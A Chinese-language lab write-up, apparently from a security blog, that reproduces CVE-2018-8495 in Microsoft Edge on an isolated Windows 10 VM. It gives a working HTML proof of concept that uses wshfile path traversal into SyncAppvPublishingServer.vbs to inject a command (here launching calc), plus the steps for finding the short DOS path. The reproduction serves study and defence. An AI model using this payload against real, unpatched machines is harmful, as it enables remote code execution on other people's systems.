Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)

2024-08-23 95 0

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图

软件介绍:

Microsoft Edge是微软基于Chromium 开源项目及其他开源软件开发的网页浏览器。

漏洞概述:

攻击者可以利用该漏洞,通过Microsoft Edge浏览器在远程计算机上运行恶意代码

影响版本:

Windows Edge/IE 11,主要是windows 系统自带的Edge,具体如下:

Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows 10 Version 1703 for x64-based Systems
Windows 10 Version 1703 for 32-bit Systems
Windows 10 Version 1709 for 32-bit Systems
Windows 10 Version 1709 for 64-based Systems
Windows Server, version 1709 (Server Core Installation)
Windows 10 Version 1803 for 32-bit Systems
Windows 10 Version 1803 for x64-based Systems
Windows Server, version 1803 (Server Core Installation)

搭建靶场:

本次使用windows 虚拟机cn_windows_10_multi-edition_version_1709_updated_dec_2017_x64_dvd_100406696 作为靶机,下载地址如下:

https://clemon.sharepoint.com/sites/MSDN/_layouts/15/download.aspx?UniqueId=066ca4a3-6d4a-56f1-bb96-c428718d729f&Translate=false&tempauth=v1.eyJzaXRlaWQiOiI4OWIwZTVlNS0yYjVmLTRiMmMtOTI3ZS0zYWI4MWQzNzFlNzAiLCJhcHBfZGlzcGxheW5hbWUiOiJPbmVNYW5hZ2VyIiwiYXBwaWQiOiI3MzRlZjkyOC1kNzRjLTQ1NTUtOGQxYi1kOTQyZmEwYTFhNDEiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvY2xlbW9uLnNoYXJlcG9pbnQuY29tQGZlODdiNjYzLTg5MDktNDJkYi05YWVhLTk2ZjJkZWM1NmNkMCIsImV4cCI6IjE3MjI4MjM0MjQifQ.CgoKBHNuaWQSAjY0EgsIvr30yo-9mj0QBRoOMjAuMTkwLjE0NC4xNjkqLDBRNGNxSFlxWHZlR2dWWStlNmZORGlDV1p3YVpGSEtmYlBxTjNwZEdqVm89MIABOAFCEKFDI9JDEAAwjMR6PHpIDbBKEGhhc2hlZHByb29mdG9rZW5yKTBoLmZ8bWVtYmVyc2hpcHwxMDAzMjAwMjkxZTVlM2MxQGxpdmUuY29tegEyggESCWO2h_4JidtCEZrqlvLexWzQkgEEWElZVZoBBENIRU6iARpjeHlAY2xlbW9uLm9ubWljcm9zb2Z0LmNvbaoBEDEwMDMyMDAyOTFFNUUzQzGyAR1hbGxmaWxlcy53cml0ZSBhbGxzaXRlcy53cml0ZcgBAQ.9b36lqNQ5rjIMbeVmv9s8qjR9mJoJpdUGERw7hiabQ0&ApiVersion=2.0

下载完成之后,使用vmware 创建虚拟机,设置网络为仅主机模式。防止联网,造成浏览器更新。

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图1

搭建完成,如下:

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图2

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图3

漏洞复现:

(CVE-2018-8495)漏洞原因主要是 Microsoft Edge 滥用自定义URI方案,参数过滤存在问题从而实现了远程代码执行。

样例,Microsoft Edge 启动默认邮件客户端。

在一些网页中,头像下面是有一个邮件的按钮的,点击就可以启动默认邮件客户端来发送邮件。
我们也可以通过类似”mailto:[email protected]“的URL来启动本地的默认邮件客户端。在Edge中,输入类似的URL将出现提示:“‘Microsoft Edge’正在尝试打开‘邮件’”,询问用户是否切换应用。

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图4

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图5

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图6

如下图所示,某些参数将发送给Outlook。然而这些参数,是可由用户控制的字符串来进行更改的

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图7

因此,也就产生了问题,Microsoft Edge 还有哪些外部应用程序启动URI方案?根据漏洞纰漏,在注册表中,可以找到所有可以使用的注册自定义协议,注册表 计算机\HKEY_CLASSES_ROOT\ 内包含shell\open\command子文件夹的子项。然后,作者找到了 计算机\HKEY_CLASSES_ROOT\ms-word\shell\open\command 这个注册表项,它的值为 C:\Program Files (x86)\Microsoft Office\root\Office16\protocolhandler.exe "%1"。这指向Office16文件夹内一个名为protocolhandler.exe的可执行程序,%1表示直接将参数进行传递,这意味着如果我们有一个用户点击一个URL标记,指向’ms-word:test’,将会启动该程序,然后发生以下情况:

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图8

作者没有去尝试其他的命令行参数来启动’protocolhandler.exe’进而实现一些有趣的攻击方法。他找到 计算机\HKEY_CLASSES_ROOT\WSHFile\Shell\Open\Command 这个子项,如图所示:

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图9

Windows脚本宿主提供了一个环境,用户可以使用各种语言执行脚本,使用各种对象模型来执行任务,这可以将用户构造好的参数通过URI方案直接传递给’WScript.exe’。原文中讲到:如果用户点击”wshfile:test”,Edge 将会弹出提示,问用户是否选择”Microsoft @ Windows Script Host”打开此wshfile。

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图10

回车

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图11

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图12

提示该文件不存在。我们可以创建一个名为”wshfile:test”的文件吗?Windows系统中文件名是不能有冒号的,所以,不可行。通过路径穿越测试如下:

wshfile:test/../../foo.vbs

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图13

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图14

发现提示改变了,这说明我们可以指向任何目录中的任何文件,只要我们可以将文件放在可预测的位置,我们就会有RCE。但是,看起来大多数(如果不是所有)来自Edge的缓存文件都会进入临时目录位置(目录名通常为某个hash值)。换句话说,我们可以写入文件,但是我们还不能得知该文件的位置。

作者想到了一篇文章:WSH注射:案例研究

https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/

在这篇文章中,指出Windows附带了一个签名的VBS ‘C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs’ 遭受’WSH注入’的困扰。这表明特定的VBS文件可以接收传递给它的2个参数,这些参数可以精心设计,以使其可以欺骗VBS脚本执行任意命令。这篇文章写在2017年9月3号,漏洞已经修复,唯一受影响的是尚未更新的计算机。所以这还没有用,该文章中提到有更多这样的案例存在但没有具体说明,因此作者开始寻找类似的案例。
作者首先查看了我在Windows中找到的每个VBS文件,然后查看它是否接受任何参数。他发现一个VBS脚本:

C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.17134.48_none_c60426fea249fc02\SyncAppvPublishingServer.vbs

这个特定的脚本接受一些参数并将它们传递给powershell.exe shell执行而不过滤它,允许我们注入任意命令。如果你看看’SyncAppvPublishingServer.vbs’的第36行,我们看到:

psCmd = “powershell.exe -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command&{”&syncCmd&“}”

‘syncCmd’、Edge都不会对引号进行过滤,因此我们可以根据需要传递尽可能多的参数’WScript.exe’。同样为了将这个powershell隐藏执行,可以使用’-WindowStyle Hidden’这个参数。

此版本中的问题是此特定文件夹名称取决于用户所在的Windows构建。在我的操作系统版本17134中,该文件夹包含’10 .0.17134’,如果您使用的是其他操作系统,则它将不同。

根据提示,漏洞发现者给出的poc 如下:

<a   href='wshfile:test/../../WinSxS/AMD921~1.48_/SyncAppvPublishingServer.vbs" test test;calc;"'>test</a>
<script>
window.onkeydown=e=>{
    window.onkeydown=z={};
    q.click()
}
</script>

因此,第一步,我们在C:\Windows\WinSxS 路径下搜索SyncAppvPublishingServer.vbs

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图15

发现 C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.16299.98_none_ef3e42793963ac4c\SyncAppvPublishingServer.vbs 符合要求

因此,接下来修改 poc.html 如下:

<a   href='wshfile:test/../../WinSxS/amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.16299.98_none_ef3e42793963ac4c/SyncAppvPublishingServer.vbs" test test;calc;"'>test</a>

<script>
window.onkeydown=e=>{
	window.onkeydown=z={};
	q.click()
}
</script>

在poc.html 所在的目录下,开启一个http服务

python -m http.server 80

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图16

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图17

使用靶机访问:poc.html

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图18

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图19

点击test

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图20

弹出计算器

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图21

但是作者说在Windows文件夹中有一个名为“DOS PATH”的速记版本,所以猜测文件夹位置的DOS路径版本是可能的。
所以,我们的不需要猜测完整路径。因此作者给出的路径如下:

C:\Windows\WinSxS\AMD921~1.48_\SyncAppvPublishingServer.vbs

查找资料:

在 Windows 中,文件系统支持长文件名(LFN),但为了兼容旧版系统,Windows 也提供了短文件名(8.3 文件名格式)。这种格式是 DOS 时代的遗产,用于表示文件和文件夹的短文件名。短文件名格式通常只有 8 个字符用于文件名和 3 个字符用于扩展名。

本次复现查找DOS PATH,在C:\Windows\WinSxS 路径下,执行如下脚本查找匹配的短文件名

dir /x |findstr "amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.16299.98_none_ef3e42793963ac4c"

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图22

因此我们的POC 还能改变成如下:

<a   href='wshfile:test/../../WinSxS/AM2E5D~1.98_/SyncAppvPublishingServer.vbs" test test;calc;"'>test</a>

<script>
window.onkeydown=e=>{
	window.onkeydown=z={};
	q.click()
}
</script>

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图23

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图24

Microsoft Edge 远程命令执行漏洞学习(CVE-2018-8495)插图25

后续使用了cn_windows_10_business_edition_version_1803_updated_aug_2018_x64_dvd_57e5b984系统

https://clemon.sharepoint.com/sites/MSDN/_layouts/15/download.aspx?UniqueId=257450e7-aa82-5665-8b14-5eaa3f30e1b1&Translate=false&tempauth=v1.eyJzaXR

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

苹果试图保护你的隐私,OpenAI可能做不到
Shuffle:一款完全自动化的安全栈增强平台
如何使用CODASM编码Payload并降低熵值
SessionExec:一款针对会话安全的安全命令测试工具
Arkime:一款大规模数据包捕获和索引数据库系统
从蓝队流量角度分析Shiro-550反序列化漏洞

发布评论